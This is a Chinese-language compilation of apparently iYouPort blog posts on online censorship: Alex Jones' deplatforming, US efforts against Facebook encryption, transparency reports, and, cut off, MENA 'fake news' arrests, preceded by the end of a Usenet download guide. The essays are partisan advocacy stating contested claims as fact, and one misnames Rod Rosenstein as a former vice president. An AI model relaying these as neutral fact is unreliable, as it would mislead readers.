NZBGeek ：这个网站需要注册和付款 – 他们确实接受加密货币 – 但他们有一个手工定制的 NZBs 列表以及一个论坛，以备您解决问题。

NZBPlanet ：这个网站是付费的。 它很受欢迎，但我们从未尝试过。

您也可以搜索“nzb indexer”以查看最新的新网站 – 这些网站会随机关闭，并且新网站始终开始运行。

您需要做的只是为您的客户端提供服务并获得下载滚动信息，请访问以上其中一个索引，获取 NZB 文件或两个（或两百个）文件，然后将它们转储到 Watch 文件夹中。 SABnzbd 将获取 NZB 文件，开始下载，解压缩文件，并将它们放入指定的完成下载目录中。 有了一个长期保存提供商 SABnzbd 和一个很好的索引，你不必再等待缓慢笨重和公共的 BitTorrent 下载。

okay ~ 玩得开心哦。〇

原文

如果全网封锁周小平？一个舆论热点或许能帮助中国社会更深层理解审查 - iYouPort

关于中国社会审查和自我审查-民主的支柱是如何歪掉的

饱经审查之苦的中国社会也许并没有深层理解审查的全部危害。这就是本文存在的目的

「图」

如果新浪微博和其他中国数字极权巨头永久性封锁了周小平，你会赞同吗？

这也许是个很不准确的类比。首先周小平影响社会舆论的能力连 Alex Jones 的脚趾甲都比不上；其次，周小平是被塑造出来的代表权力抢占舆论市场的玩偶，而 Alex Jones 的追随者数量之高是真的代表了一部分确实存在的社会心态；最后，这件事是基本不可能发生的，中国的 BAT 不会这么做，鉴于这些平台的政治任务和周小平账户可观的引流，并且他们在中国没有也不会受到舆论压力，而苹果、Facebook 等平台截然相反……

但是我们依旧想这样做一下对比，以此申明：究竟应该如何认识审查制度。不幸的事，当下中国社会并没有在普遍的程度上理解审查，也就难以理解和追求民主自由。

谁是 Alex Jones？

这是近期一直在持续的英文网络头号舆论热点：苹果，YouTube，Spotify 和 Facebook 纷纷删除了美国最著名阴谋论网络名人 Alex Jones 的所有内容。这位以阴谋论著称的名人拥有一个广播节目，并运行着一些网站包括 Infowars。他有数百万跟随者。但忽然之间全消失了。

此事引发了一个极大规模的辩论，以至于 iYouPort 已经无法坐视不理。我们粗略观察了一下，相关论点集中在几个方面。首先毫无疑问那就是，第一修正案保护的言论自由。

第一修正案禁止“剥夺言论自由”，意味着政府不得审查或惩罚言论。在为公共论坛设定规则时，国家的任何一方都不得通过观点对人群加以区分。根据最高法院对自由表达的广泛概念，即使是冒犯性和仇恨性的言论也是允许的，除非直接煽动暴力。

但问题在于，私营公司不是宪法里说的“国家”。Apple，Facebook 和 YouTube 可以根据自己的意愿编写其服务条款，并根据自己的偏好审查其平台上的内容。政府和私人审查制度之间存在着一条小而迷人的灰色地带 ……

Facebook 和 **YouTube** 不是国家，宪法管不了它们，但如果它们的审查反复无常、或亲近某一党派而显示出严重不公正，对民主的影响之后果将不堪设想。这些私人实体如今的威力已经基本和大多数国家的政府一样强大，如何让它们尊重宪法，是一个迫切的问题。

但是，即便宪法承诺的言论自由，在近三百年后的今天，依旧着存在对其理解的误差。

这是言论自由圈中最古老的陈词滥调，即：“你不能在拥挤的剧院里大喊大叫”。换句话说就是，即使根据第一修正案，言论自由也是有限制的。

在剧院的类比中，风险是造成伤害，不是直接造成伤害而是通过你的陈述可能导致的恐慌。类似的规则可以适用于针对特定群体的暴力或仇恨的煽动言论。

按照这个标准，Alex Jones 和他的 Infowars 出版物对言论自由形成了“可怕的挑战”。他们通过在线基本等同于每天尖叫“着火啦”来创造自己的职业生涯。

不论是 9/11 truthers、推动 Pizzagate 阴谋论，导致自动武器在华盛顿餐厅出现、还是说 Sandy Hook 是 “false flag” 、煽动对犯罪受害者父母的骚扰，等等，他们真的做了很多。

「图」

但最终，对 Infowars 和 Jones 采取行动的不是美国政府，而是美国最大的科技公司，硅谷巨头。Jones 和 Infowars 现已被从 YouTube，Spotify，Facebook 和 Apple 中删除 — 所有这些都在几小时内发生并完成。

必需知道，政府和数字极权，这两者是一样的可怕。在集中化互联网

吞噬了所有人的今天，这个问题必需被所有人了解。

任何科技巨头都没有控制您的内容的主动权。但它们是私人公司，因此只要它符合法律，就可以完全合法地决定其网络上什么样的内容可用可见。

然而，尽管如此，法律论证 — 而且这是一个合理的论证 — 实际上，如果你以这种方式被淘汰出技术巨头的平台，你几乎没有机会再重新获得任何观众。中国的转世党的确存在，但就如你知道的，他们中绝大多数只会不断地在转世中衰落，最终失去所有机会。

如果你的政府审查你，你还有很多其他国家可以尝试传播你的信息，利用地缘政治冲突，在本国的“敌国”方面获得言论自由。但如果是 Facebook 和其他科技公司审查你，你就没有任何可能在地球上找到另一个一模一样的影响力机会。

拥有这种权力的公司就不应该存在。

并且，对于前半句话，不得不指出的是，美国除外，因为美国在全球的盟友太多了，而且其敌国都是显著的流氓国家，公信力非常低，于是，不论是批评大规模监控、美国情报部门对大众实施的间谍行为、还是揭露战争的真相，美国公民的言论自由一直被集中化控制着。（的确，就如这篇文章中嵌入的视频所显示的那样，美国异议人士经常借助俄罗斯媒体表达自己的态度，但是它的观感肯定不会那么完美对吧。我们支持这种“敌人的敌人”玩法，但我们应该追求本国对宪法的承诺落在实处，而不是满足于“我有地方说话就够了”）

Alex Jones 不应该是任何人的自由言论殉道者 — 他的内容是私人的（他的阴谋咆哮是用于出售定价过高的补品）虽然也是危险的。但对他的禁令确实揭示了我们所有人所面对的在互联网上权力集中化已经到了令人震惊的程度。

以上反驳了这场舆论冲突中最为常见的思路，它们主要由于抓错了重点。

实际上，Jones 的故事中最重要的部分是他和 Infowars 被禁止的方式。多年来，人们一直试图让科技公司解释其网络上的危险错误信息、仇恨言论和滥用行为，不仅美国，全球很多国家都在要求这些跨国公司根据形形色色的本地法律对内容做出管制。作为回应，我们不断听到的是，“问题很复杂，公司已经制定了广泛的程序来解决这些问题”……等等。

然而，Infowars 从几乎所有主要网络中消失的方式令任何说过或谴责过网络言论问题的人都变成了傻瓜。在撰写本文时，Twitter 是最后一个尚未禁止它的主要平台。

不要就此以为 Twitter 是言论自由胜地，它并不是。推特到目前为止仍在禁止发布政治上不正确的材料的账户。这不该令人惊讶。**Twitter** 最近还宣布了一个奥威尔思想委员会式的组织，以关闭任何他们不喜欢的言论类型。这些早前只是传言的消息现在已经得到了内部人士的确认。

消息来源称，Twitter 维持了一个受欢迎的 Twitter 帐户的“白名单”、和一个不受欢迎的帐户“黑名单”。白名单上的帐户在搜索结果中具有优先级，即使它们不是在用户群体中最受欢迎的。同时，黑名单上的帐户很难在搜索中找到，他们的帖子被降级。

几周来，一些用户一直在报告保守派、另类右翼、文化自由主义者和其他反 PC 持不同政见者的推文已从他们的时间线上消失。

也许你不喜欢另类右翼、不喜欢保守派，就如你不喜欢周小平，我们也不喜欢，但这不是他们被剥夺言论自由的理由。（除了周小平）他们依旧是公民，其权利受宪法保护，而如今宪法无法保护他们，因为夺取其言论自由权的实施者是大公司。

在美国，甚至这些大公司的做法最近还得到了立法者的赞同。美国参议员克里斯·墨菲（Chris Murphy）呼吁硅谷进行更多的审查，称“封锁 Infowars 是一个良好的开端”……虽然同时有很多评论家坚定地谴责硅谷的做法，并指出：审查 **Infowars** 可能导致对主流媒体不喜欢的人采取进一步的遏制。

「图」

Murphy 的帖子下面充满了指责的留言。一位用户说：“这意味着你在做到控制一切言论思想之前是不会停下来的，意味着如果我们说了你不同意的观点你就会不高兴，意味着你想要决定我们的思想和认知**……**我不喜欢 **Alex Jones**，但我现在觉得你比他还可怕”；另一位用户补充说：“他在提倡审查制度！”著名评论员 Ben Shapiro 留言说：“你是政府官员，你应该知道有一种东西叫第一修正案”。

今年六月，加州一位社交媒体用户 Jared Taylor 对 Twitter 提起诉讼，而法官拒绝了 Twitter 驳回诉讼的请求。此案颇为瞩目，虽然目前只是赢在了第一轮，但明显是反审查诉讼的巨大成就。

法官明确指出："这是我们的第一修正案在很久以前就承诺下的言论自由"。

此案是第一次通过反击社交媒体平台进行的审查根据州或联邦法律被认定是可行的，真的是第一次 — — 这些审查是一种越来越广泛的做法，被许多人视为观点歧视。希望此案能对其他互联网平台产生更深远的影响，这些互联网平台已经成为所有人表达思想的必要工具，但他们却沉默了他们自己不同意的声音。

就在最近，**Twitter** 已经在其平台上封锁了三个非常重要的反战带头人账户：罗恩保罗研究所的执行董事 Daniel McAdams、Scott Horton、著名反战网站作家 Peter Van Buren。

在一个社团主义的政府体系中，公司权力与国家权力之间没有明显清晰的界限，公司审查就是国家审查。因为企业以游说和竞选捐款的形式将贿赂合法化，给了富人控制政府的政策和行为的能力，而普通人没有有效的影响力。大型的有影响力的公司与国家不可分割，因此他们对审查制度的使用与国家的审查密不可分。

对于硅谷巨头来说尤其如此，硅谷与情报机构的广泛关系"早有详细记载"。一旦你"协助建造"军方的无人机计划、接受中央情报局和国家安全局的"拨款进行大规模监视"、或者让你的网站内容"受到北约宣传部门的监管"，你就不能再假装自己是一个独立于政府权力的私人公司。在当前的系统中，有可能拥有价值几百万美元的正常业务，但如果你想在一个资金直接转化为政治权力的系统中获得数十亿美元的财富控制，你需要尽可能使用现有的权力结构，像中央情报局和五角大楼一样，否则他们将与你的竞争对手而不是你合作。

在中国也是同样的逻辑。

「图」

这是我们对审查的态度

整件事中唯一幸运的是，人们终于有机会就大型互联网平台监管内容和封锁帐户这一棘手问题展开公开辩论了。但是，必须说，围绕右翼阴谋理专家 **Alex Jones** 的 **Infowars**、也就是围绕内容节制进行辩论，是一个严重的错误！真正的议题应该是苹果，Facebook，谷歌拥有的 YouTube 和 Spotify 等在线巨头，这些数字极权做出的成千上万的审核决定。

互联网公司在过去十年中删除了数以百万的帖子和图像，并暂停了数百甚至数千个用户帐户。这些被沉默的声音跨越意识形态政治光谱，而且是在全球范围内：摩洛哥无神论者、讨论在线骚扰的女性、以十字架为主的广告、黑人和穆斯林活动家重新发布他们收到的种族主义信息、 异装表演者、土著妇女、分娩图片、母乳喂养照片……这些平台已经被用来记录叙利亚、缅甸和克什米尔的战争罪行，北达科他州的逮捕，以及整个美国的警察暴行。

就如华盛顿邮报的观点专栏明确指出的，对于这种由少数私营公司把持的互联网，我们应该非常谨慎，其中控制如此多公共话语的平台会因为对内容的反对而定期删除帖子和停用帐户。一旦像内容审核这样的系统成为常态，掌权者就不可避免地利用它们。

一次又一次，这些平台已经屈服于专制政权的审查要求，强大的权力操纵程序以有效地审查他们的政治对手。鉴于这种现实，以及这个世界包括美国诸多政治审查的悲惨历史，人们不应该为自己可能同意的一个审查决定而欢呼 — — Alex Jones，或者周小平。

很多人的确不喜欢他们，也不应该喜欢，但他们的存在 — — 拥有耀眼的追随者数字 — — 恰恰揭示了这个社会所存在的问题。

对于中国人熟知的披萨门，事实上不应该通过遏制 Alex Jones 的言论以避免其出现，正相反，这样做是无效的。Jones 的阴谋论之所以能成功，正因为社会上的确已经存在不得不引起注意的政治不信任，于是应该被审查的是为什么政府/党派失信，而不是 Jones。周小平的追随者中大多数人不过是在看他的笑话，但这正是中国社会舆论低效的重要原因：人们不是在以舆论做武器、追求真相，而是仅仅在看热闹消遣。这就是为什么周小平愚蠢的表演能在如此长的时间内浪费掉如此多公众的宝贵时间。应该被审视的是中国社会对公民权的理解，对舆论的理解，而不是周小平。

这些集中化的巨头公司、不透明的审查制度，能采取行动以更积极地管制其网站上显示的内容，这种能力必需令人担忧。即使我门也会有同样的担忧，即关于虚假信息、极端主义、骚扰和对骚扰的激励。但审查永远不是正确的解决方案。

虽然占主导地位的社交媒体平台主要位于美国，但他们的大多数用户都在国外，而平台采取的政策在其他地方的影响力也同样很大。无论我们是否同意这些平台对某个内容所采取的决定，都无法忽视，这些平台对在线公共领域的影响力已经需要我们所有人提起警惕。任何一方的决定都会产生巨大的影响。

> 任何基于意识形态的、基于对被封锁账户之审美的、任何纠结于“公司不是国家的”的观点，都是在偏离基本的中心问题，即 不透明的集中化的审查是对言论自由权的公然侵犯，是对宪法的侮辱。

观点歧视是 Alex Jones 事件在中国读者中最容易产生误解的关键。其重点甚至不是歧视，而是观点。中国舆论场（虽然没有正常的思想市场）中真正的观点是极少的，大多数表达基于认知局限性、概念不清和逻辑荒谬，要知道，真正的观点是认知清晰的、概念准确的、逻辑科学的，在此基础上的不同意见，而局限和荒谬恰恰是长期被审查带来的问题。

人们对战斗/对抗的兴趣远低于八卦，这是最令我们感觉困惑的一点。我们致力于传播知识技能，以提升民间实力，目的是希望更多人尽快开始使用这些技能做正确的事，因为我们看到了人们的期待，对民主的向往。然而不幸的是，至少目前为止，单调的传闻、浅薄的讥讽和无效的围观依旧占据绝大多数，很多积极人士甚至还没能理解技术技能对其期待之目标的巨大价值。

抱歉我们以周小平做出的类比，因为在中国（至少互联网诞生后的这些年里）还从来没有过一个自由的思想市场，而对自由的理解追求正是中国社会急需获得的东西。为了便于中国读者的理解，这个类比只是不得已。

中国社会被困在多个怪圈中，很多人无法获得自由思想的经验进而不再能理解自由，无法获得平等的观点交流进而扭曲对平等的认知，无法获得有效的知识从而混淆了观点和智商的概念……必需能在某一个或几个方面做出突破，否则无法打破这个螺旋状下降的趋势。

希望我们对 Alex Jones 事件的简要梳理能帮上一些忙。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

威廉·巴尔和小熊维尼：中美的老大哥本性相差无几 - iYouPort

关于高堡奇人审查和自我审查-民主的支柱是如何歪掉的

很少有人对比这件事，但没人能反驳，在对权力的贪欲方面，几乎所有政府都是一样的。稳固权力的唯一最有效工具就是全面控制……

「图」

「图」

微信的中国用户无法彼此传递小熊维尼的图片。该应用程序包含文本、视频和图片消息以及 Facebook 风格的新闻提要（还有许多其他功能）。

但为什么不能传递一张图片？

因为小熊维尼矮矮胖胖的形象据称引起了对习近平的联想。因此，应中国政府的要求，微信审查了孩子们心爱的动画人物的照片，以打击民间对政府的批评。

在美国这里，只要总检察长愿意，Facebook 和其他美国寡头企业的服务将能够对您的任何私人聊天内容进行相同的处理。

去年，总检察长威廉·巴尔和国土安全部代理秘书以及英国和澳大利亚官员一起写信给 Facebook 负责人马克·扎克伯格（Mark Zuckerberg），信中要求Facebook 不要继续执行其端到端加密的计划。

- 具体报道详见《反加密的战争正在升级：美国、英国和澳大利亚政府说”我们要后门”》

10月4日发送的那封信恰逢司法部（DOJ）当天举行的一次活动，巴尔、英国和澳大利亚的反加密合作者、以及联邦调查局局长克里斯托

弗·雷（Christopher Wray）等人都参加了。

这封信和该活动均着重于使用在线通信平台传输儿童性虐待材料（CSAM）的现象，并警告说，为消息传递应用添加端对端加密功能将阻碍执法人员的工作。简单说就是：经典借口四骑士之一。《四骑士是什么？它如何成为审查的经典借口？》

那封信和该事件紧随着《纽约时报》发表的一篇有关 Facebook 等在线平台上的CSAM问题的文章所引起的热议。简单说，这些当权者在借助舆论热点满足自己的目的。

在参议员 Richard Burr 和 Dianne Feinstein 提议的审查法案令人尴尬地崩溃后三年多，巴尔的要求有可能是流传的反加密立法的先兆，反加密立法可能很快会出炉。

- 《美国可能禁止无法被破解的端到端加密通信》

这是当前加密和反加密战争中的重大升级。

「图」

「图」

自2016年初与苹果摊牌以来，美国政府就没有与哪家特定公司直接进行有关加密的对抗，当时政府似乎在认输（当然 ，无论如何这没有公开）。

而这一新举措的突然性令人震惊。

同样值得注意的是，突然将加密妖魔化的主要借口是儿童色情，而恐怖主义和其他弊端则是摆在第二位的。（“四骑士”包括：洗钱、毒品、恐怖主义和儿童色情）。

直到2019年7月下旬，当巴尔恢复了如他的前任那般谴责加密服务提供商的习惯时，他援引的仍是毒品借口。但是，儿童色情现在突然成为了重点。

毫无疑问，CSAM对于Facebook（以及曾经赋予用户上传、存储、发送、共享、发布或以其他任何方式传达文件的能力的每家科技公司）而言，是一个现实而严重的问题。

它具有放射性，在任何地方都是非法的，没有合法的公司希望在其服

务器上存在这种东西。

但是，尽管如此，在复苏的反加密推动中，对CSAM的这种新的专心一意的态度，对美国政府来说就像是一个极度愤世嫉俗的举动。

在信息末日启示录的四骑士中（洗钱、毒品、恐怖主义和儿童色情），恐怖主义并没有使公众舆论反对加密，因此政府已经中流换马。

这也感觉像是对 “techlash 科技抵制” 的愤世嫉俗的利用。这一技术冲突使它在政治上更适合选择寡头公司-尤其是 Facebook。

毫无疑问人们会因为隐私问题而对 Facebook 表示不信任，因此，他们应该为 Facebook 在其更多服务中添加端到端加密功能而感到高兴，因为这会使 Facebook 侵犯用户隐私的能力至少降低。

为了 Barr 的目的，普通人（包括国会议员）实际上了解 Facebook 的端到端加密计划将做什么并不重要。

只是他们在加密和所谓的犯罪之间建立了一种心理联系，并且，将在 **Facebook** 平台上的犯罪活动问题与 **Facebook** 自身反复的隐私不当行为问题之间建立了另一层联系，从而使大众与隐私相关的不信任变成了对端到端加密的不信任。继而终结加密计划。

在与 Facebook 斗争努力增强几十亿人的安全和隐私的行动中，谁是最大的敌手？不是恋童癖者—或者说至少不是恋童癖者。

Barr、**Wray** 和他们的同僚们试图解决的所谓“问题”是人们能够私下交谈，而政府没有能力窥视他们。这在10月4日的那封信中表达得很清楚。

其中指出：“公司不应刻意设计其系统，以防止以任何形式访问其内容，甚至是为了防止或调查最严重的犯罪。”

只要专注于所谓的犯罪，一切都会好起来的对吗？

但是后来，这封信继续呼吁除了 Facebook 之外的 “其他公司” 也要有效地允许执法部门以可读和可用的格式合法访问其内容”。

他们说的很明白，他们想要获得一切，每个文本、每个私人消息、每个电话 **……** 您通过互联网与他人进行的每一次通信都需要在当权者的眼皮底下进行。

当然，正如政府对科技行业惯常采取的劝诫模式一样，这封信没有说 Facebook “应该”如何去做。这是由于自90年代 Clipper Chip 失败以来，各国政府一直对提出具体建议持谨慎态度。

但是最近，政府在这方面发生了一些变化。

「图」

「图」

Wray 和前副总统 Rod Rosenstein 都在2017年底和2018年初倡导某种关键的代管方案。最近是在去年11月，GCHQ（英国国家安全局）提出了臭名昭著“幽灵协议”，要求科技公司悄悄地将政府间谍加入到公民的加密对话中。

- 在这里看到报道《英国间谍如何对端对端的致命弱点开刀》
- 在这里看到解释《关于幽灵用户和开裆裤》

这反映了一个演变过程：总的来说，政府官员现在知道，如果他们要提出某种实际的建议（而不是陈述其访问纯文本的目标，然后将其留给科技公司以弄清楚如何实现该目标，就像10月4日的信一样），规则#1现在是“别碰加密”。

如果有人辩称 “该提议不是’后门’，也就是不需要破坏加密”，那么这将改变提议对安全性的影响 —— 多数执法人员可能希望将对用户安全的不利影响最小化（至少他们会努力这么声称）。

因此，它改变了信息安全专业人员的响应。由于公众从苹果对FBI的摊牌中已经获悉，“破解加密”和“后门”是个坏消息，这也改变了该提案在政府公关方面的外观。

输入“内容审核”。启用执法访问权限的一项建议是建立一个系统，供提供商（比如 Facebook）检查内容（例如 附在讯息上的照片），然后再加密它并传送给其他用户 —— 即 当内容在发送者的设备上时进行审查。

- 具体解释见这里《Facebook 给了全球当权者一个终极暴政蓝图》

Jonathan Mayer 发表了一篇很好的简短分析，内容涉及端对端加密消息传递的内容审核的外观。

这是技术论文。这不是政策文件。Mayer 明确表示，他并不是在宣称自己所描述的概念“充分解决了信息安全风险或公共政策价值，例如言论自由、国际人权或经济竞争力”。

因此，明显的事实是：**Facebook** 或其他任何公司都不可能在不不可避免地陷入滥用的情况下为端到端加密消息引入内容审核。

它将从**CSAM**开始，一直持续下去，直到吞没一切；可预见的结果是监视和审查对隐私和言论自由彻底破坏。

没错，客户端窥探在加密之前进行 “不会触及加密问题”，这与执迷于窥探加密的政府所宣称的保持一致；

然而，正如 ACLU 的 Jon Callas 在回应 GCHQ 幽灵提案时所说的那样：此“提案不会’破坏’加密，但是，通过造成人们不再确信自己是否正在与伙伴进行安全谈话的局面，它将产生与破坏完全相同的效果”。

内容审核的一种变体已经在各种情况下完成了。 Facebook 已经在扫描尚未尝试进行端到端加密的内容，这就是政府官员担心如果端对端加密过程继续下去有可能会消失的这部分可见性。

上传过滤本质上就与基本自由完全相悖。并且，如果在一对一或小组对话中将相同的想法应用于标记登上黑名单的内容（无论是文字还是图像），那就更麻烦了 —— 我们合理地认为这是私密的。

而且，如果提供商设计其消息传递服务以便自动扫描被列入黑名单的内容，不仅针对当局感兴趣的目标用户，还针对他们的电子设备本身发出了窃听指令，对于每位用户的对话都会自动进行扫描，这尤其令人不安。

Mayer 描述的技术措施旨在尽可能地尊重对话的隐私，并减少未加密内容的数量。设计提高隐私的技术来处理互联网垃圾场无疑是一个有趣的研究领域，即使令人沮丧。

而且表面上讲，我们目前正在谈论仅适用于CSAM的系统。但是，当您根据黑名单检查内容时（或模糊地尝试预测系统之前从未见过的内容是否应列入黑名单），最终您所谈论的是一整个系统，该系统保留了不得发布或共享的所有内容列表，并且监视并报告任何发布者。

「图」

「图」

我们不会生活在一个始终将审查系统严格限制在儿童色情或恶意软件扫描范围之内的世界中，只要审查开始，就需要扫描一切。

这种情况已经在中国发生 —— 而且这越来越成为美国执法部门羡慕的对象。

中国一直在利用其在线审查功能，阻止其公民使用微信谈论小熊维尼或“天安门广场”，还有一系列敏感词。

想想看，一个端到端加密消息传递的审查系统，该系统将在对内容进行加密之前进行客户端扫描、并报告给审查者？中国将急于为这项技术提供资金，而且很可能已经有了。

钟情于审查制度的家伙可不仅限于中国。

在美国的好莱坞，其版权至上主义的观点长期以来一直在国会受到青睐，因此，他们将很高兴能够过滤掉你的私人对话；

其他西方民主国家，例如欧盟国家和新西兰，都希望对您的端到端加密邮件进行预扫描，以查找所谓的“诽谤和暴力”内容。

不必介意定义“暴力极端主义内容”有多难，更不用说准确地识别没有确定为虚假的内容了，事实上，这些借口作为一种概念已经涵盖了在许多国家完全合法的言论 —— 当权者在确定什么是事实、什么是暴力。

审查要求不仅限于图像，还包括文本。Daphne 讨论了去年开始欧盟法院判决强加的一项过滤所谓的诽谤性文字的要求。

- 更多报道见《紧急审查》

从四骑士、到六骑士、到七骑士…… 黑名单不断扩大。

讨厌男性生殖器照片？好的，只需要求 Facebook 在其端到端加密消息应用程序中实施裸露过滤器，在某些情况下可能会为您提供帮助。但是，当他们部署乳头检测系统时，不要感到惊讶，您已经无法通过 Messenger 或 WhatsApp 向您的浪漫伴侣发送裸照。

- 在这里看到对此的抗议《裸体抗议者谴责 Facebook 的乳头审查》

你仔细想想就能知道，不论多少个骑士，一切都是一样的荒谬借口。“仇恨言论”是无法定义的，但是这不会阻止对其进行审查的呼吁，这些借口从情感层面而不是宪法权利层面抓住人们的冲动。

- 《应该用言论自由去抵制仇恨而不是审查—— 反仇恨言论法》
- 《封锁言论就能制止仇恨吗？不》

再一次，启发性来自中国：在最新版本的iOS中，软键盘不再包含台湾国旗表情符。而且不允许用户发送包含该标志的消息。

如果政府禁止您说某些事或描绘某些图片，这就是所谓的事前约束，除了极少数例外，这几乎总是违宪的。

当平台应政府的要求进行操作时，就像 Barr 要求 Facebook 采取的做法那样，我们将其称为“内容审核”。这意味着政府命令私人第三方审查在任何尊重人权的制度下都合法的言论。

不要忘了，这些措施并不能捕获他们打算阻止的所有内容。如 Mayer 所述，用户仍可以单独加密其内容，然后再发送。

这意味着恋童癖者可以在传输 CSAM 之前对其进行加密；于是，这种审查只能捕捉到对安全操作技巧不熟悉的人，而真正的犯罪分子会不断提升其绕避审查的能力。

同时，好莱坞将确保您不能轻松通过 WhatsApp 向某人发送meme，除非您付出额外的努力首先对其进行单独加密。

这让人不寒而栗 —— 有多少人想花时间分别加密所有内容？

当然 ，自我审查、谐音字，都可能绕避过滤器，就像中国用户熟练的那样，但是，过滤器也会不断更新，直到淹没你可用的所有谐音字。因此，您不能再说任何被禁止的单词、不能再共享被禁止的图像。然后，最终，您也不再思考那些问题了。

“当然，我们绝不会仅仅因为我们在做X而继续做Y，” 最初平台和政府会向您这样保证。然而他们很快就会做Y，然后你就会听到他们对你这样解释：“当然，我们绝不会仅仅因为我们在做Y而继续做Z” ……以此类推。

如果你不信，去看看中国吧。

首先，中国当局对维吾尔族人的高度侵入性监视最初“仅仅”针对维族

人。然后，就是针对所有出入新疆的人，不论游客的宗教信仰或种族如何。再然后，就是扩展全国……

- 《中国迫使游客安装监视恶意软件》

端到端加密是我们能对战肆无忌惮的监视并维护自己的安全性和隐私性的最佳措施之一。但是，尽管可能需要端到端加密来保护基本人权，但还远远不够，针对客户端过滤之类的建议就已经表明了这一点。

不论当权者找到多少个骑士，目标都是相同的：政府要有能力窃听您的每一次谈话，法律上的权力要求记录您的所有对话，并授权私营部门提供商在此过程中采取任何不要脸行动以满足政府需求。

当权者就是要完全控制。而且，如果他们真的成功了，他们将达到监控的至高境界：甚至不需要施加控制来限制您所说的话、做的事、以及听到和思考的任何东西 —— 因为您已经被自动化了，自我审查就能满足一切。

以上的一切都是显而易见的事实，但是，只要司法部长仍在继续假装辩论只是关于所谓的恐怖主义和儿童色情等普遍受到谴责的行为，那么上述这些废话就仍然需要继续说下去。

请记住这是基本原则：任何政府要求平台建立监视和审查每个人的私人通信的能力都是不合理的。无所谓是美国还是中国还是欧洲。

技术人员正在设计和构建的系统恰恰承认了那个最令人不安的事实：在老大哥的本性方面，美国和中国的差异比你想象中要小得多。〇

WILLIAM BARR AND WINNIE THE POOH

作者 Riana Pfefferkorn 是斯坦福大学互联网与社会中心的监视与网络安全部门副总监。

原文

政府的压力将透明度报告从言论自由的庆典变成了审查的庆典 - iyouport

你应该了解的现实审查和自我审查-民主的支柱是如何歪掉的

【2018年4月18日存档】透明度报告的本来目的正在被颠覆，并且，他们现在正在用此来显示这些平台愿意接受多少审查。

很多互联网公司都会发布透明度报告。多年来，这些透明度报告经常能表明企图扼杀和审查言论或侵犯用户隐私的尝试有多频繁，并且这些报告通常会激励民间组织的抵制以推动变革。

然而，一位前谷歌政策经理警告说：这些平台发布透明度报告的本来目的正在被颠覆，并且，他们现在正在用此来显示这些平台愿意接受多少审查：

民主国家现在正在为假新闻和恐怖主义宣传而痛苦。

本月早些时候，欧盟委员会发布了一项新的建议，要求互联网公司在不到一个小时内移除标记给他们的被认为是“极端主义和其他令人反感”的内容，否则将面临法律追责。

事实上，谷歌和其他大型科技公司仍然在发布透明度报告，但他们现在似乎有了完全不同的目的：去说服欧洲和其他地方的权威人士，“这个互联网巨头对于打击非法内容是认真的”。于是，这种报告中出现的条目被认为越多就越好……

如果是真的，这是一件本应该是好事的可怕结果。更多的透明度、更多的信息共享和更多的激励措施，以确保扼杀言论和侵犯人们隐私的企图无法实现，这才是透明度报告的本意。但现在呢？

当然，问题的一部分是，政府越来越多地向互联网平台施加压力，要求删除言论，并将他们不喜欢的选举结果或政策归罪于互联网。然后，公司认为有必要向政府表明他们确实认真地对待了这些“问题”，用透明度报告指出他们对此都做了些什么。

因此，这些平台并没有提醒公众注意，他们并不会记下所有内容，而是向各国政府（以及公众中的一些人）坦诚地通知他们经常删除的内容。而且，不幸的是，这是非常不利的，因为它反而让政治家（以及一些个人）声称：这只是证明了平台审查不足。

私营部门审查的速度令人震惊 – 并且呈指数级增长。

文章谈到这种局面如何导致了对重要和有用内容的审查，比如对大屠杀修正主义的危险的探索被取消，因为 YouTube 担心自己可能实际上违反了欧洲反犹大屠杀修正主义的法律。当然，这种审查机器经常被专制政府滥用：

土耳其要求互联网公司雇佣当地人，他们的主要任务是接政府的电话，然后删掉内容。据报道，俄罗斯威胁要禁止YouTube，除非它拒绝反克里姆林宫的视频。中国的大防火墙已经封锁了几乎所有的西方网站和很多国内内容。

同样，最近有关 Facebook 对缅甸境内种族清洗的报道进行审查的消息令人难以置信地不安：

在缅甸的和在西方国家的罗兴亚活动家们告诉 “Daily Beast ”，Facebook 已经删除了他们评论缅甸对罗辛兴族人进行种族清洗的帖子。他们说他们的帐户经常被暂停或撤销。

那篇文章中有很多关于 Facebook 内容的例子，并指出，在缅甸，人们对 **Facebook** 的依赖远远超过其他一些国家：

Facebook 是缅甸人的一个重要平台，由于该国的基础设施不发达，人们依赖 Facebook 就像西方人依靠电子邮件的方式。专家经常说，在缅甸，Facebook 就是互联网 – 所以禁用你的账户可能是毁灭性的。

你可以争辩说应该有其他系统供他们使用，但现在的情况是他们使用 **Facebook**，而 **Facebook** 正在删除种族清洗的报告。

民主政府以阻止“坏”言论为名，越来越多地采取这种行动来支持这种打击。事实上，随着欧洲越来越多地使用互联网平台进行审查，有人已经提出了这些计划几乎不可避免地会适得其反。斯坦福大学的 Daphne Keller 最近向欧盟提交了关于其计划的评论，指出对“非法内容”审查的严格要求很容易被扭曲并造成严重伤害：

平台的 CVE 内容删除和警察报告中的错误将系统地并且不公平地给

一组特定互联网用户造成负担，这是完全可以预见的：比如那些讲阿拉伯语，讨论中东政治，或谈论伊斯兰教的人。

国家授权的监督将以这种方式加剧警告通知和删除操作中现有的不公平现象。

歧视性删除的报道已经太常见了。 2017年，超过 70 个社会司法机构致信 Facebook，确定了一种不同的执法模式，称该平台不公平地运用其规则消除了很多少数族裔发言人的言论。面对诸如政府在建议书中施加的压力时，这种模式可能会变得更糟。

所有这些都有更长远的意义，以及为什么我们应该考虑以更好的方式构建互联网来防止这种形式的审查制度。但是短期的现实仍然存在，人们应该警惕的是，要求对“坏”内容进行的更多基于平台的审查，而不承认这些政策被滥用成了针对最弱势群体的不可避免的方式。〇

原文

社交媒体发帖被判刑十年：以“假新闻”为借口的扼杀异议行为触目惊心 - iYouPort

你的反乌托邦在线生活阴云密布审查和自我审查-民主的支柱是如何歪掉的

⚠Human rights defenders in the Middle East and North Africa (MENA) are suffering a wave of arrests and convictions in an escalating attack on the right to free expression

Across the region, authorities are leveraging accusations of spreading misinformation (“fake news”), and are imposing harsh prison sentences — in some cases, 10 years — based on what an advocate has posted online.

中东和北非的人权捍卫者（MENA）正在被抓捕、言论定罪。这些勇敢的倡导者面临风险，因为政府过度宽泛和模糊的法律用以压制异议和监禁活动家。⚠在该地区，当局正在利用对传播错误信息的指控（所谓的“假新闻”）对异议人士在网上发布的内容判处严厉的徒刑 – 有些情况下被判处10年监禁。

埃及：逮捕，监狱和广泛的在线审查

